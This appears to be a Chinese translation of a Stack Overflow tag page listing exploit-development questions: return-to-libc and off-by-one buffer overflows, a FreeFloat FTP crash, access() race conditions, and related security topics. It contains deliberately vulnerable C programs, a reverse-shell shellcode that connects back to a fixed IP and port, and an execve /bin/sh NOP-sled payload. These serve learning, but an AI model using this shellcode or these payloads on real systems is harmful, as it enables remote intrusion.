标签: exploit

C#/ .Net Web浏览器是否容易受到攻击?

说.Net平台更安全是否正确,因为CLR可以防止缓冲区溢出攻击?

假设有一个在托管操作系统中运行的Web浏览器(如Cosmos,SharpOSSingularity),攻击者在技术上是否可以将IL代码注入应用程序?

我是否必须担心在非托管应用程序中无法进行的攻击?

.net c# clr exploit buffer-overflow

4
推荐指数
1
解决办法
960
查看次数

编写一个返回libc攻击,但libc在内存中加载到0x00

我正在为我的系统安全类编写一个返回libc攻击.首先,易受攻击的代码:

//vuln.c
#include <stdio.h>
#include <stdlib.h>

int loadconfig(void){
  char buf[1024];
  sprintf(buf, "%s/.config", getenv("HOME"));
  return 0;
}

int main(int argc, char **argv){
  loadconfig();
  return 0;
}
Run Code Online (Sandbox Code Playgroud)

我想使用返回libc攻击.编译和调试程序:

$ gcc -g -fno-stack-protector -o vuln vuln.c
$ gdb vuln
(gdb) break loadconfig
(gdb) run
Reached breakpoint blah blah blah.
(gdb) p $ebp
$1 = (void *) 0xbfffefb0
(gdb) p system
$2 = {<text variable, no debug info>} 0x0016db20 <system>
(gdb) p exit
$3 = {<text variable, no debug info>} 0x001639e0 <exit>
(gdb) x/2000s …
Run Code Online (Sandbox Code Playgroud)

c exploit libc buffer-overflow

4
推荐指数
1
解决办法
4305
查看次数

Offbyone 缓冲区溢出有效负载中的 NULL 字节

所以我在下面的简单代码的帮助下尝试 Offbyone 缓冲区溢出

#include <string.h>

void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));

}
int main(int argc, char **argv)
{

    cpy(argv[1]);

}
Run Code Online (Sandbox Code Playgroud)

此图描述了 Offbyone 缓冲区溢出的工作原理

在此输入图像描述

摘自: https: //www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481

这是 main 和 cpy 的反汇编 在此输入图像描述

在此输入图像描述

这是我使用的有效负载 在此输入图像描述

内存转储

在此输入图像描述

因此,使用缓冲区,在 Cpy 堆栈帧中,我将保存的 RBP 的最低有效字节的值更改为00因为通过提供恰好 128 字节输入实现了 Offbyone 溢出

可以看到地址0x7fffffffe177存储了EBP,其值从0x7fffffffe190变为0x7fffffffe100

因此,我继续将有效负载的起始地址设置为地址0x7fffffffe10F ,这也是 main 的返回地址 ,应该是0xffffe110 0x00007fff而不是0xffffe110 0x90907fff,但由于我们不应该在有效负载中包含 00,所以我无法设置返回地址,因为它是 64 位地址,长度为 8 字节 0xffffe110 0x00007fff

那么我们到底应该如何获得这里的返回地址呢?由于内存转储的图像,在断点 1 中,它是 cpy 函数框架,为什么 argc 和 …

c exploit reverse-engineering

4
推荐指数
1
解决办法
4266
查看次数

免疫调试器上的注册窗口为空白

每次当我在 MKD 命令中向 freefloat ftp 服务器发送 1000 字节长的缓冲区时,它就会崩溃。我正在尝试开发一个漏洞利用程序,因此我将免疫调试器附加到 freefloat ftp 服务器进程,但是当我将缓冲区发送到 ftp 服务器并在免疫调试器中按播放键时,寄存器窗口变为空白,我一直在尝试解决这个问题已经很久了,请帮忙。

ftp debugging exploit

4
推荐指数
1
解决办法
3938
查看次数

access()安全漏洞

我一直在做一些shell编写,并且遇到了一个建议访问()来检查文件是否存在,可以读取等等.看起来超级易于实现并且比stat()更快.当我开始查看它的手册页时,我注意到它不建议使用,因为它可能导致安全漏洞.手册页说:

使用access()检查用户是否有权例如在使用open(2)实际执行此操作之前打开文件会产生安全漏洞,因为用户可能会利用检查和打开文件之间的短时间间隔来操作它.

有谁知道如何利用它或者它是否仅仅涉及在检查文件后使用open()?我知道有很多人说使用stat()代替,但是access()很容易实现,特别是对于我用它的shell.

谢谢

c security exploit

3
推荐指数
1
解决办法
1624
查看次数

Java - 动态jar加载如何被利用?

我正在研究一个分析JAR文件的封闭源Java应用程序.由于java可以很容易地反编译,并且混淆真的不是什么大问题,我想提供一个在我的服务器上执行应用程序的在线服务,并返回它的结果,就像这里的fernflower:www.reversed-java.com/fernflower /.

问题是,我担心这是一个灾难的秘诀我的应用程序加载服务器上的任何可能有害的罐子,即使我从来没有运行罐子.我正在做的就是使用URLClassLoaderJarInputStream加载它们.

我正在加载的jar可以覆盖原始应用程序中的类,以便执行恶意代码或搞乱我的程序吗?

动态加载罐子有哪些风险?

java exploit jar loading dynamic

3
推荐指数
1
解决办法
477
查看次数

如何防范资源耗尽和其他漏洞?

我们碰巧使用IBM appscan http://www-01.ibm.com/software/awdtools/appscan/

针对我们的java代码库,它返回了大约3000个高严重性漏洞.

它们中的大多数碰巧是系统信息泄漏,它认为当我们在catch块中打印堆栈跟踪时会发生这种情况,但是我们只打印它正在发生的文件名和行号,这使我们能够更好地调试代码.

还有一些是关于SQL注入,输入验证等.

但是,我的问题是关于资源耗尽(文件描述符,磁盘空间,套接字......),它列出java.io.BufferedReader.readLine了可能的外部攻击的所有实例.

       InputStream ins=conn.getInputStream();

      String inputLine;

      if (!preserveLinefeeds) {
         BufferedReader in = new BufferedReader(new InputStreamReader(ins));
         while ((inputLine = in.readLine()) != null)
            pr.readThreadResponse+=inputLine;
         in.close();
         ins.close();
      } 
Run Code Online (Sandbox Code Playgroud)

conn是一个HttpURLConnection对象.

如何在代码中添加safegaurds来防止这种情况?

java resources exploit

3
推荐指数
1
解决办法
1988
查看次数

int(*ret)()=(int(*)())代码是什么意思?

这是shellstorm的代码副本:

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main() 
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}
Run Code Online (Sandbox Code Playgroud)

任何人都可以帮我解释一下这个"int(ret)()=(int()())代码;" ?它是如何工作的?为什么它可以使上面的代码运行?

c exploit shellcode

3
推荐指数
2
解决办法
7295
查看次数

缓冲区溢出 - 程序以SIGSEGV信号终止

我正在学习缓冲区溢出漏洞利用.我写了这样一个易受攻击的程序:

#include <stdio.h>
#include <string.h>

main(int argc, char *argv[])
{
    char buffer[80];
    strcpy(buffer, argv[1]);
    return 1;
}
Run Code Online (Sandbox Code Playgroud)

很简单的程序.想法是覆盖用于返回libc函数的返回地址start_main.一切都很顺利,我使用GDB来验证返回地址是否被指向shellcode内存中的正确地址覆盖.

但是,当我想要获得一个shell时,会出现:

Program received signal SIGSEGV, Segmentation fault. 0xbffff178 in ?? ()

0xbffff178是返回覆盖的返回地址,它确实指向shellcode我很确定.有帮助吗?

c assembly gdb exploit buffer-overflow

3
推荐指数
1
解决办法
6805
查看次数

我正在尝试利用缓冲区溢出,我做错了什么?

我正在尝试使用本教程执行缓冲区溢出漏洞.我的帖子中的所有内容都将直接在GDB中执行.

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

这是我想利用缓冲区溢出的代码.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int     main(int argc, char *argv[])
{
  char  buff[256];

  if (argc == 1)
    {
      printf("Usage: %s input\n", argv[0]);
      exit (0);
    }
  strcpy(buff, argv[1]);
  printf("%s\n", buff);
  return (1);
}
Run Code Online (Sandbox Code Playgroud)

我目前正在研究Linux mint 18,我有64位处理器.鉴于我有64位架构.每个地址都是8个字节.现在让我们想象一下我当前的stakframe.


| buff [256] |


| RBP |


| 保存RIP |


我的目标是用"nop sled"的地址覆盖"SAVE RIP".鉴于我是64位架构.我打算用256 + 8字符填充变量buff.8个字符将用于覆盖RBP指针.我要用perl覆盖.

perl -e 'print "\x90" x 264'

然后使用我遵循的教程中提供的shellcode

perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

我减去了26因为shellcode长度为26.

现在.我要找出使用GDB的nop雪橇的地址是什么.

   0x00000000004005f6 <+0>: push   rbp
   0x00000000004005f7 <+1>: mov …
Run Code Online (Sandbox Code Playgroud)

c gdb exploit buffer-overflow

3
推荐指数
1
解决办法
780
查看次数